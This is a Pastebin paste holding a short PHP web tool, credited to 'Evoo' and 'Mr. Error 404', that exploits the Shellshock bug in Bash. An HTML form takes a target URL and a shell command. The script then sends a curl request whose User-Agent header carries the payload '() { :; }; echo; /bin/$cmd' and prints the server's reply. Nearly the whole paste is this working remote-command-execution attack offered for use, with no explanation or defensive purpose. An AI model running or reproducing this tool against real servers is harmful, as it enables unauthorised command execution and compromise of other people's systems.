Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- <html>
- <form method="post">
- Target: <input type="text" name="url" size="50" height="10" placeholder="http://www.target.com/">
- <input type="text" name="cmd" size="50" height="10" placeholder="uname -a">
- <input type="submit" name="go" value="test">
- </form>
- </html>
- <?php
- // coded by Evoo [ http://pastebin.com/u/Evoo ]
- // recoded by Mr. Error 404 ( WebBased Xploiter )
- function pwn($site,$cmd) {
- $useragent = "() { :; }; echo; /bin/$cmd";
- //$useragent = "() { :; }; echo; /bin/uname";
- $ch = curl_init($site);
- curl_setopt($ch, CURLOPT_USERAGENT, $useragent);
- curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
- $postResult = curl_exec($ch);
- print "<pre>";
- print_r("\t".$postResult);
- print "</pre>";
- /*if (eregi("Linux",$postResult)){
- echo "[+]Vulnerable\n";
- }else{
- echo "[-]Tidak Vuln\n";
- }
- */
- }
- $url = $_POST['url'];
- $cmd = $_POST['cmd'];
- $go = $_POST['go'];
- if(isset($go)) {
- echo "=> $url<br>";
- pwn($url, $cmd);
- }
- ?>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement